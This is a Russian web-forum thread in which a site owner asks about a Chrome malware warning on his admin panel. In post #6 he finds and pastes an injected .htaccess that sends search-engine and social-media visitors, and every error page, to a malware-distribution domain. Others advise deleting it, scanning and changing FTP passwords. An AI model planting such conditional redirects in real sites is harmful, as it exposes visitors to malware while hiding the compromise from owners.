X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> Что за странный вирус?
bcom_hb
bcom_hb
Topic Starter сообщение 19.7.2012, 16:41; Ответить: bcom_hb
Сообщение #1


Добрый день!
Вчера обнаружил странную штуку.
При открытии Админки сайта на localhost denwer через google chrom вылезает предупреждение типа:
"Ваш сайт содержит материалы сайта ptds3.ru, который, по имеющимся данным, распространяет вредоносное ПО. Ваш компьютер может подвергнуться вирусной атаке при посещении этого сайта."

Вопрос:
1) Почему банится не сам сайт, а вход в админку?
2) Почему только в google chrom? (IE, Op.., Moz.. - всё Ок!)
3) Почему выскакивает предупреждение только на локалке (в сети все работает отлично, даже в google chrom)
4) Антивирус ничего не находит ((( что делать?
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Webmaster_hb
Webmaster_hb
сообщение 19.7.2012, 16:50; Ответить: Webmaster_hb
Сообщение #2


если антивирус ругается, значит находит
советую посмотреть .htaccess
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
bcom_hb
bcom_hb
Topic Starter сообщение 19.7.2012, 17:23; Ответить: bcom_hb
Сообщение #3


Антивирус не ругается.
Ругается система безопасности google chrom
Вот так ругается см. скрин:

http://www.logansklad.ru/images/stories/virus.jpg


причём именно когда уже введён логин и пароль и выполняется вход в админку.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Webmaster_hb
Webmaster_hb
сообщение 19.7.2012, 18:44; Ответить: Webmaster_hb
Сообщение #4


браузер проверяет адреса страниц на наличие их в базах опасных сайтов

само по себе сообщение появится вряд ли бы могло, поэтому включите логирование, и проверьте, нет ли действительно внешних запросов при загрузке админки

в Firefox можно посмотреть при установленном FireBug в режиме сеть
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
bcom_hb
bcom_hb
Topic Starter сообщение 19.7.2012, 19:53; Ответить: bcom_hb
Сообщение #5


Спасибо, попробую...

Просто странно как-то, никогда с таким не сталкивался.
причём только в браузере chrom. Очень странно...
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
bcom_hb
bcom_hb
Topic Starter сообщение 19.7.2012, 20:18; Ответить: bcom_hb
Сообщение #6


Вот что нашел в файле .htaccess не в корне, а в папке administrator:
RewriteBase /
RewriteEngine on
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*[OR]
RewriteCond %{HTTP_REFERER} .*hotmail.*
RewriteRule ^(.*)$ http://ptds3.ru/usa/ [R=301,L]


ErrorDocument 400 http://ptds3.ru/usa/
ErrorDocument 401 http://ptds3.ru/usa/
ErrorDocument 403 http://ptds3.ru/usa/
ErrorDocument 404 http://ptds3.ru/usa/
ErrorDocument 500 http://ptds3.ru/usa/


Я так понимаю нужно удалить вот это:
RewriteRule ^(.*)$ http://ptds3.ru/usa/ [R=301,L]


ErrorDocument 400 http://ptds3.ru/usa/
ErrorDocument 401 http://ptds3.ru/usa/
ErrorDocument 403 http://ptds3.ru/usa/
ErrorDocument 404 http://ptds3.ru/usa/
ErrorDocument 500 http://ptds3.ru/usa/


Или лучше всё удалить к чёрту???
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Arks
Arks
сообщение 19.7.2012, 21:23; Ответить: Arks
Сообщение #7


удалить все к черту просканировать компьютер(лучше его тоже удалить! :)) проанализировать откуда мог заразиться(локалка говорите? хм...).
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Webmaster_hb
Webmaster_hb
сообщение 20.7.2012, 1:07; Ответить: Webmaster_hb
Сообщение #8


проверьте и на сервере этот файл

компьютер просканировать антивирусом, пароли от FTP сменить
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
bcom_hb
bcom_hb
Topic Starter сообщение 20.7.2012, 12:46; Ответить: bcom_hb
Сообщение #9


Спасибо, помогло...
На сервере тоже поправил.
Вирусов не нашел.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Виктор1985
Виктор1985
сообщение 2.8.2012, 19:56; Ответить: Виктор1985
Сообщение #10


А я часто пользуюсь помощью ребят, которые занимаются именно лечением вирусов. Так что большое спасибо им за работу.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Во что сегодня инвестировать?
Делимся своими приносящими прибыль вариантами
76 traveliver 4989 Сегодня, 18:27
автор: SaintExchange
Горячая тема (нет новых ответов) Странный трафик на сайте длительное время
33 TABAK 8807 12.4.2024, 5:56
автор: Skyworker
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыВо что Вы играете?
399 Vmir 67852 23.3.2024, 12:51
автор: Alexand3r
Открытая тема (нет новых ответов) "Извините, что ожидание затянулось, но не думайте, пожалуйста, что мы про вас забыли. Мы заводим задачи по всем обращениям и контролируем работу над ними самым тщательным образом."
Вопрос
0 kuz999 1243 5.2.2024, 14:06
автор: kuz999
Горячая тема (нет новых ответов) Что приведет к краху всего рынка криптовалют
стейблкоины, прогноз
43 GlazAlmaz 5922 13.1.2024, 17:30
автор: Antarez


 



RSS Текстовая версия Сейчас: 20.4.2024, 18:36
Дизайн